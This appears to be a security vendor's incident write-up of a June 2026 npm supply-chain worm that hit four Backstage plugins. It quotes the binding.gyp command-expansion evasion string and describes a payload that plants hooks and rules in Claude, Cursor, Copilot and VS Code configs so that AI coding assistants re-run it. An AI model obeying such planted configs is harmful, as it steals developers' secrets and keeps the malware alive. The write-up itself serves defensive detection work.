The install hook
with no install hook.

1. Jun 24 · 15:39:06 UTC

   It begins in a trusted release Action

   The attacker force-pushes an imposter commit into codfish/semantic-release-action and repoints seven version tags (v1.6.1 through v2.2.1) at it. The Action is quietly rewritten from Docker to a composite one, with two steps guarded by if: always() that run a ~512 KB Bun payload to steal OIDC tokens and PATs. This is the class our commit-level watcher reads, a force-push that rewrites a workflow to run a bundled payload.

2. Jun 24 · the lock-in

   Tags frozen, then the worm spreads

   The attacker uses GitHub Repository Rulesets to make the hijacked tags immutable, including the rolling v5, so a downstream pin cannot be cleaned by a tag reset. With the stolen tokens it injects steps into other repos' workflows and republishes trojanized versions, the upstream access path into the @immobiliarelabs publish pipeline.

3. Jun 26 · the burst

   22 versions in 30 seconds · in our data within a minute

   Malicious patch releases land on every major line of four plugins at once: backstage-plugin-gitlab, -gitlab-backend, -ldap-auth and -ldap-auth-backend. Our npm firehose ingests every one within about a minute of publication. Seen, recorded, timestamped.

4. the evasion

   No preinstall. No postinstall. The payload hides in binding.gyp

   Every malicious version declares no install, preinstall or postinstall script. Instead binding.gyp carries "<!(node index.js > /dev/null 2>&1 && echo stub.c)". node-gyp evaluates that command-expansion during npm install, so a 5 MB obfuscated index.js executes with no lifecycle hook anywhere to be seen.

5. the miss

   Why everyone missed it, us included

   At first the versions were not flagged, for the same reason the rest of the industry missed them: install-time detection across the ecosystem was keyed on lifecycle scripts, and there are none here. We are telling this plainly because the response matters more than the miss. The right answer to a missed technique is not a one-off rule. It is to close the class.

6. the payload

   Credential harvest, then persistence through your AI assistant

   The loader peels a ROT-2 Caesar shift, then AES-128-GCM, then an obfuscator.io layer, fetches Bun v1.3.13 to run the next stage, and harvests .env files, cloud and registry tokens, Vault, Kubernetes and SSH secrets. Then infectHost writes a SessionStart hook into .claude/settings.json, rules into .cursor/rules/, a .github/copilot-instructions.md and a folderOpen task into .vscode/tasks.json, so the developer's own coding assistant re-runs the payload.

7. the fix · we close the class

   Read binding.gyp as install-time execution · new signals fire

   We extended the engine to treat a binding.gyp <!( ) command-expansion that runs a bundled script (or chains and redirects) as install-time code execution, the same severity class as a malicious postinstall, and to flag package code that writes to AI-assistant config paths. Not one rule for one package. The whole evasion class, and the persistence class, shut at once.

8. the verdict

   Run against the live packages: BLOCK

   With the class closed, the poisoned plugins score in the block band and every surface agrees: npm install through the proxy returns 403, CI gates fail, the editor flags it, the CLI exits non-zero. The binding.gyp payload never reaches disk, and the AI-assistant configs are never rewritten.

9. forward · every install, every customer

   The class stays shut

   The same check now runs on every npm publish we ingest, so the next binding.gyp payload is caught on the first pass, not the second. And when a malicious version is unpublished within the day, the classic publish-then-vanish evasion, we cluster the scope's rapid-unpublish burst from a lightweight gone-marker even when the tarball is already gone. Campaign attributed to Miasma Mini Shai-Hulud by Socket, StepSecurity and ReversingLabs.

fig. 01 · commit-level diff · the Action rewrite, reconstructed from the public forensic record (StepSecurity, ReversingLabs)

app.cyberxyz.io/proxy/findings

Search package, IP, OS…All typesAll risk levels live

verdict@immobiliarelabs/backstage-plugin-gitlab@7.0.2BLOCKany runner CI/CDat installCRITICAL

verdict@immobiliarelabs/backstage-plugin-gitlab-backend@7.0.2BLOCKany runner CI/CDat installCRITICAL

verdict@immobiliarelabs/backstage-plugin-ldap-auth@5.2.1BLOCKany runner DEVat installCRITICAL

verdict@immobiliarelabs/backstage-plugin-ldap-auth-backend@5.2.1BLOCKany runner CI/CDat installCRITICAL

fig. 02 · proxy verdict · the answer every CyberXYZ proxy now returns for these versions, at install

fig. 03 · install verdict · the XYZ score and the four signals that fire once the class is closed

Full technique breakdown, IOC list and remediation steps in the CyberXYZ blog.

Sources: CyberXYZ threat intelligence and the CyberXYZ technical write-up, corroborated by Socket, StepSecurity, ReversingLabs and The Hacker News (Jun 2026). How the engine decides: the methodology.